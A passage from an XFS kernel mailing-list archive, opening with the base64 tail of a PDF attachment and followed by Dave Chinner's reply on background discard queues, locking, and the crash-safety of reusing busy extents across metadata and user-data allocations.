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 mc4o5h8Y63J8sdUwG7T50neku4/p0+TrPm0Vzv+LPm3lIR1u3KRjc29WjQUjljSLdoMIKr7B0e9J IW31XJ5C7Pot4gatISrAYltI+aGrK5xr25o2rasVi/lnecu4j2nKlFiF9u9ryiJSL+NzH4X0Qg9l UWp2ff5Gb3oMVdqZh1bMyvMfciw64dxakmyFyOOzp05nG/lZ71nmHZ8XC/hUnrWuaWZ5flO6fG01 3YjWvqzhedeZvz/qo3/AaU1sphFq7zkTtXkUzHhqrpbsjPvlYJpW0L7uDCf9l++H/fGk3rsrx/jd 1MHzJh+elK2O1GaajcaP1flzWmoJ37+p7ybNv7awbq6gcFPs/H2bNVA8xSzf0CVN+SZ4y7fWnoZw FumR5pik8oIVaUqv5ob09bLZEOF5Ra6TqqTbAkLF5/JbYwSSmGlZt4J0aGzmM2s+8edM4g0dq+W8 Y4Vw73KsVo1j/xVgAELNt4UNCmVuZHN0cmVhbQ1lbmRvYmoNMjM0IDAgb2JqDTw8L0xlbmd0aCA0 MDA2L1N1YnR5cGUvWE1ML1R5cGUvTWV0YWRhdGE+PnN0cmVhbQ0KPD94cGFja2V0IGJlZ2luPSLv u78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4KPHg6eG1wbWV0YSB4bWxuczp4PSJh ZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNS4yLWMwMDEgNjMuMTM5NDM5 LCAyMDEwLzA5LzI3LTEzOjM3OjI2ICAgICAgICAiPgogICA8cmRmOlJERiB4bWxuczpyZGY9Imh0 dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPgogICAgICA8cmRmOkRl c2NyaXB0aW9uIHJkZjphYm91dD0iMEU2ODRFNjAtMzQ5Qy1BMkVELUNBMTAtQzA5NTZDQjk0QTJD IgogICAgICAgICAgICB4bWxuczpwZGY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGRmLzEuMy8iPgog ICAgICAgICA8cGRmOktleXdvcmRzLz4KICAgICAgICAgPHBkZjpQcm9kdWNlcj4zLUhlaWdodHMo VE0pIFBERiBQcm9kdWNlciA0LjIuMjYuMCAoaHR0cDovL3d3dy5wZGYtdG9vbHMuY29tKTwvcGRm OlByb2R1Y2VyPgogICAgICAgICA8cGRmOlBERlZlcnNpb24+MS40PC9wZGY6UERGVmVyc2lvbj4K ICAgICAgPC9yZGY6RGVzY3JpcHRpb24+CiAgICAgIDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0 PSIwRTY4NEU2MC0zNDlDLUEyRUQtQ0ExMC1DMDk1NkNCOTRBMkMiCiAgICAgICAgICAgIHhtbG5z OnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyI+CiAgICAgICAgIDx4bXA6Q3JlYXRl RGF0ZT4yMDE0LTAxLTA3VDIyOjQwOjIzKzIyOjAwPC94bXA6Q3JlYXRlRGF0ZT4KICAgICAgICAg PHhtcDpNZXRhZGF0YURhdGU+MjAxNC0wMS0wN1QyMjo1NDozNi0wMjowMDwveG1wOk1ldGFkYXRh RGF0ZT4KICAgICAgICAgPHhtcDpDcmVhdG9yVG9vbD5Tb2RhIFBERiA1PC94bXA6Q3JlYXRvclRv b2w+CiAgICAgICAgIDx4bXA6TW9kaWZ5RGF0ZT4yMDE0LTAxLTA3VDIyOjU0OjM2LTAyOjAwPC94 bXA6TW9kaWZ5RGF0ZT4KICAgICAgPC9yZGY6RGVzY3JpcHRpb24+CiAgICAgIDxyZGY6RGVzY3Jp cHRpb24gcmRmOmFib3V0PSIwRTY4NEU2MC0zNDlDLUEyRUQtQ0ExMC1DMDk1NkNCOTRBMkMiCiAg ICAgICAgICAgIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyI+CiAg ICAgICAgIDxkYzpmb3JtYXQ+YXBwbGljYXRpb24vcGRmPC9kYzpmb3JtYXQ+CiAgICAgICAgIDxk YzpkZXNjcmlwdGlvbj4KICAgICAgICAgICAgPHJkZjpBbHQ+CiAgICAgICAgICAgICAgIDxyZGY6 bGkgeG1sOmxhbmc9IngtZGVmYXVsdCIvPgogICAgICAgICAgICA8L3JkZjpBbHQ+CiAgICAgICAg IDwvZGM6ZGVzY3JpcHRpb24+CiAgICAgICAgIDxkYzpjcmVhdG9yPgogICAgICAgICAgICA8cmRm OlNlcT4KICAgICAgICAgICAgICAgPHJkZjpsaT5SZXByZW1haXM8L3JkZjpsaT4KICAgICAgICAg ICAgPC9yZGY6U2VxPgogICAgICAgICA8L2RjOmNyZWF0b3I+CiAgICAgICAgIDxkYzp0aXRsZT4K ICAgICAgICAgICAgPHJkZjpBbHQ+CiAgICAgICAgICAgICAgIDxyZGY6bGkgeG1sOmxhbmc9Ingt ZGVmYXVsdCIvPgogICAgICAgICAgICA8L3JkZjpBbHQ+CiAgICAgICAgIDwvZGM6dGl0bGU+CiAg ICAgIDwvcmRmOkRlc2NyaXB0aW9uPgogICAgICA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0i MEU2ODRFNjAtMzQ5Qy1BMkVELUNBMTAtQzA5NTZDQjk0QTJDIgogICAgICAgICAgICB4bWxuczp4 bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyI+CiAgICAgICAgIDx4bXBNTTpE b2N1bWVudElEPnV1aWQ6RTU5NTM2RDAtQTdFMy02NzY5LTZBRTItQUY0ODlCNkJGOEFFPC94bXBN TTpEb2N1bWVudElEPgogICAgICAgICA8eG1wTU06SW5zdGFuY2VJRD51dWlkOjBhZmNlZWJmLWQ2 M2YtNDRmMi1iOWIzLTJkY2RiZjE2NWIxMTwveG1wTU06SW5zdGFuY2VJRD4KICAgICAgPC9yZGY6 RGVzY3JpcHRpb24+CiAgIDwvcmRmOlJERj4KPC94OnhtcG1ldGE+CiAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAKPD94cGFja2V0IGVuZD0idyI/Pg0K ZW5kc3RyZWFtDWVuZG9iag0yMzUgMCBvYmoNPDwvRmlsdGVyL0ZsYXRlRGVjb2RlL0ZpcnN0IDcv TGVuZ3RoIDExMy9OIDEvVHlwZS9PYmpTdG0+PnN0cmVhbQ0KaN4sjDsKgEAMBa+yN9gk7k8QG0sb ETuxEFzERgW18PZKkiZDXt6EKKIBU1W2OZ79NljadluukSj6P+8NygyMAhiuYATZomOkJE0goSqo DjrNvf4NomFUr5Q7gXiEoOTeZIf3zLab13zV9SfAAHD/JfgNCmVuZHN0cmVhbQ1lbmRvYmoNMjM2 IDAgb2JqDTw8L0ZpbHRlci9GbGF0ZURlY29kZS9GaXJzdCA3L0xlbmd0aCAxOTkvTiAxL1R5cGUv T2JqU3RtPj5zdHJlYW0NCmjeZI7BasMwEER/RbdIFEvrtZJACIFQUwolUJrQky+Ota0dkq6R1pj+ fUVJTz0OM29mENeoQG23bj9Jz1G/0Rjp1g7JuMdIrQz8VbdCut4glB5KWCN6wOoBcQGwuKcyeOTQ qtf6SS2Ne6HvmWNI2rgDh3/80lerAu58Rt4ppryjS+uzjhymjqKuimcaPntJjT4dGvPb/Wcqb9Hi yoJqdC8ybpyb59mO4aMQ5muyHd8aY9xxOl+ok/zjNMiVtNntfgQYACcFR3ENCmVuZHN0cmVhbQ1l bmRvYmoNMjM3IDAgb2JqDTw8L0RlY29kZVBhcm1zPDwvQ29sdW1ucyA1L1ByZWRpY3RvciAxMj4+ L0ZpbHRlci9GbGF0ZURlY29kZS9JRFs8NTNEMUNEQTJCREE5Mzg2NTA4RTdGODM1RkNDRkFGOTA+ PEU5RUU3NkI2OTY1NkNENDBCOEE3NkQ1OTRGNjdCMTNFPl0vSW5mbyAyMjcyIDAgUi9MZW5ndGgg ODYwL1Jvb3QgMjI3NCAwIFIvU2l6ZSAyMjczL1R5cGUvWFJlZi9XWzEgMyAxXT4+c3RyZWFtDQpo 3uyYWUhVYRDHz3euqEfvUVMzRYsW06u2oKSISVqRhVBZ0Ub7SvXQ8lARFdgOQpRmC9EmFS3UQxsV JWIRab1oFNFCFIVFFBUm9VbOz4frY0TIvTk+/BjG+Wbm+38zR8q25Mc2pumAZVuWu6WdJssS244Q hr0Uer3CqFxhZH/sCvx12N/xF2HP5uxEOE9onggjtgt9jeR8RHyTMDyFutuIqfNnDluEp1r6sUOx z5JzGjyOp0CYsZM8qfRDz96rwvj3+KkY+1boPCP/c86+FnomkO0NFdcJ0w9iF0vdBGp53wmjE8kw Bk8GMSOxX5EhXFiwX5iWjSdWOHATVaYKrTZuPUcyp78ghns5h7Gj0WE1Ma6wB/kjn2JzL+cK/ccR vxg2E4MyvmXcdy55qojnRdwk/Jl0S63QYSiA8k6L9BNV1SnnZX7LK2TO4uxteuDuzk1yru2k7XB6 IHPcEWJq8U/n7guYgbvE16NJHjHXpW5sCTZVYvoRs4Y+P5LzFHW5XehCInP9M2Bs4k+Sk64iZhA/ Cv8dcnZMcjzzkEyGQuyL+OVNTfQG7Mnk/MHL0vOAauzNnPLRVQz3asAzjrdYgRoruftn4fzHktPD ZNpMePkHMk8R9mECDW9hiQJW6l4iDR7qxjEtBmXCUMDDJJtjknlQmSX3vsGpjcLEJcLKSmGCvJqZ 1JN4tHLRM4u7OLuEyauwqZg0BJvdL9mBhqKDKTnBfa8Jizo2eiwcQUwN8zYTndnZofvkVPg5sYuZ ZIeYvPW8I3tRyisQYzLp3MO7m+XkZEoH38MOoc/z5MkXlrViy+5YOXLWhDBd+ajnXBBmH6JDYmzu YlL8Oo+/JKcqqGizob2X4pfJMXtQw+QI+4rOVmE5ntH0eQYN0cqws3apnErjy2b4epjdwl5MuPnK Ke5uuLvvPqceUPchXaFPWBpTypfBYlrsdo/5tJUqzLhS+e9ojqoOysCdK7dN9VTqdy846G1QHZS6 rd2RMbdUB2Vw7777RTVX6t+v7kK3VnVQ6r7/1ztepzoodcf/u72uVx2UwbfX7jfVWRkcc+ttVW2V f/BNO911tZy/+j8696e+lFL/FaAMsC9njeqg1O9Sl+9ds+qg1L0LdHob/XbMr0Dv1m5hBqzfAgwA wE+ysQ0KZW5kc3RyZWFtDWVuZG9iag1zdGFydHhyZWYNCjExNg0KJSVFT0YNCg== --=_2f792208450730cc232fcad167e78c30-- From david@fromorbit.com Sun Jan 19 17:18:01 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 0A1967F66 for ; Sun, 19 Jan 2014 17:18:01 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 7F0EAAC004 for ; Sun, 19 Jan 2014 15:17:57 -0800 (PST) X-ASG-Debug-ID: 1390173470-04cb6c537ceca1b0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id syJkfkrEXeBqHwnB for ; Sun, 19 Jan 2014 15:17:51 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AuoIAKVc3FJ5LKVw/2dsb2JhbABRCIMLtnOFT4EIF3SCJQEBAQMBJxMcIwULCAMYCQwZDwUlAyETHodfB8M6FxaOE1YHCoMagRQEmCGKT4dKg0Eo Received: from ppp121-44-165-112.lns20.syd7.internode.on.net (HELO dastard) ([121.44.165.112]) by ipmail07.adl2.internode.on.net with ESMTP; 20 Jan 2014 09:47:49 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1W51cf-0003aC-2q; Mon, 20 Jan 2014 10:17:45 +1100 Date: Mon, 20 Jan 2014 10:17:45 +1100 From: Dave Chinner To: Alex Lyakas Cc: xfs@oss.sgi.com Subject: Re: Questions about XFS discard and xfs_free_extent() code (newbie) Message-ID: <20140119231745.GF18112@dastard> X-ASG-Orig-Subj: Re: Questions about XFS discard and xfs_free_extent() code (newbie) References: <20131219105513.GZ31386@dastard> <8155F3F9D6094F40B4DA71BD561D2DE8@alyakaslap> <20131226230018.GJ20579@dastard> <20140113030230.GF3469@dastard> <20140113204314.GJ3469@dastard> <20140115014503.GQ3469@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1390173470 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144260 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sun, Jan 19, 2014 at 11:38:22AM +0200, Alex Lyakas wrote: > Hi Dave, > I believe I understand your intent of having the discard tree almost > fully disconnected from the busy extents tree. I planned to use the > the same pagb_lock for the discard tree as well, which solves the > atomicity and ordering issues you have described. If we use a > different lock (mutex), then some additional care is needed. You can probably just change the pagb_lock to a mutex. In the uncontended case they are almost as fast as spinlocks, and I don't think there's much contention on this lock right now... > One thing I like less about such approach, is that we need to be > careful of not growing the discard tree too large. If, for some > reason, the worker thread is not able to keep up discarding extents > while they are queued for discard, we may end up with too many discard > ranges in the tree. If that happens, then we'll burn CPU managing the discard tree on every allocation and waiting for discards to complete. It should self throttle. > Also at the same time user can trigger an offline > discard, which will add more discard ranges to the tree. While the > online discard that you have, kind of throttles itself. So if the > underlying block device is slow on discarding, the whole system will > be slowed down accordingly. discard already slows the whole system down badly. Moving them to the background won't prevent that - but it will reduce the impact because it discards in the transaction commit completion path completely stall the entire file system for the duration of the discards. This is the primary reason why mounting with -o discard is so slow - discards are done in a path of global serialisation. Moving it to the background avoids this problem, so regardless of how much discard work we queue up, the filesystem is still going to be faster than the current code because we've removed the global serialisation point. In the case of fstrim, this makes fstrim run very quickly because it doesn't issue synchronous discards with the AGF locked. We still do the same amount of discard work in the same amount of time in the background, but we don't block AGs or userspace while we wait for the discards to be done. That's also a pretty major win. IOWs, I think the first step is to push all the discard into the background via it's own rbtree as you've been doing. If we add tracepoints and stats to the code, we can track the discard queue depth easily enough with a bit of perf or trace-cmd output scripting, and then determine whether throttling is necessary. We can use the loop device to run tests as it implements discard via hole punching the backing file, and that will tells us pretty quickly if we need additional throttling by looking at the queue depths and the amount of CPU being spent manipulating the discard rbtree (i.e. via perf profiling). Throttling a workqueue isn't hard to do, but there's no point in doing it if it isn't necessary... > [snip] > > I have one additional question regarding your comment on metadata > > >> Q1: why it is ok to do so? why it is ok for "metadata" to reuse part > >> (or all) of the busy extent before its extent-free-intent is > >> committed? > > > > The metadata changes are logged, and crash recovery allows correct > > ordering of the free, realloc and modify process for metadata. Hence > > it doesn't matter that we overwrite the contents of the block before > > the free transaction is on disk - the correct contents will always > > be present after recovery. > > > > We can't do that for user data because we don't log user data. > > Therefore if we allow user data to overwrite the block whil eit is > > still busy, crash recovery may not result in the block having the > > correct contents (i.e. the transaction that freed the block never > > reaches the journal) and we hence expose some other user's data or > > metadata in the file. > If that is the case, why cannot we just issue an async discard before > the busy extent is committed? I understand that if we crashed, we > might have knocked off some of the user data (or changed it to some > new data). Because a user data extent is not free fo us to make arbitrary changes to it until the transaction that frees it commits. i.e. If we crash then the file must either contain the original data or be completely gone. Go google "null files after crash" and you'll see just how important people consider files being intact after a crash.... > But can XFS get corrupted (unmountable) this way? You said > earlier that it can, but now you are saying that reusing a metadata > block, before its busy extent commits, is fine. No, not exactly. There are 4 different cases to take into account: 1. metadata -> free -> alloc as metadata is the situation where there are not problems reusing the busy extent because all the modifications are in the log. Hence crash recovery always ends up with the correct result no mater where the crash occurs. 2. user data -> free -> alloc as metadata is safe because the metadata can't be written in place until the free transaction and the metadata changes are fully committed in the journal. Hence on a crash the user will either see in-tact data in their file, or the file will have had the extent removed successfully and the filesystem has safely reused it for metadata. 3. metadata -> free -> alloc as user data and 4. user data -> free -> alloc as user data are the problematic cases when it comes to IO ordering - if we allow reallocation of busy extents, then the new userdata can be written to disk before the free/alloc transactions are committed to the journal. If we crash at this point, the after recovery the new data will be pointed to by the old user. If the old user is user data, then we've corrupted their file by exposing some other users data to them. If the old user is metadata, then we've corrupted the filesystem because the metadata has been overwritten by user data before the journal recovery has read and freed the metadata block. That will cause recovery (and hence mount) to fail. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Jan 19 20:13:59 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C7ED87F63 for ; Sun, 19 Jan 2014 20:13:59 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 8D97C8F8035 for ; Sun, 19 Jan 2014 18:13:56 -0800 (PST) X-ASG-Debug-ID: 1390184031-04bdf00fe27f1ef0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id LNIRuDdWkSo4vmH2 for ; Sun, 19 Jan 2014 18:13:51 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AukIALyF3FJ5LKVw/2dsb2JhbABZgwu2dYVPgQkXdIIlAQEBAwE6HCMFCwgDDgoJJQ8FJQMhE4d9B8MwFxaOaQeEOASYIZIZg0Eo Received: from ppp121-44-165-112.lns20.syd7.internode.on.net (HELO dastard) ([121.44.165.112]) by ipmail07.adl2.internode.on.net with ESMTP; 20 Jan 2014 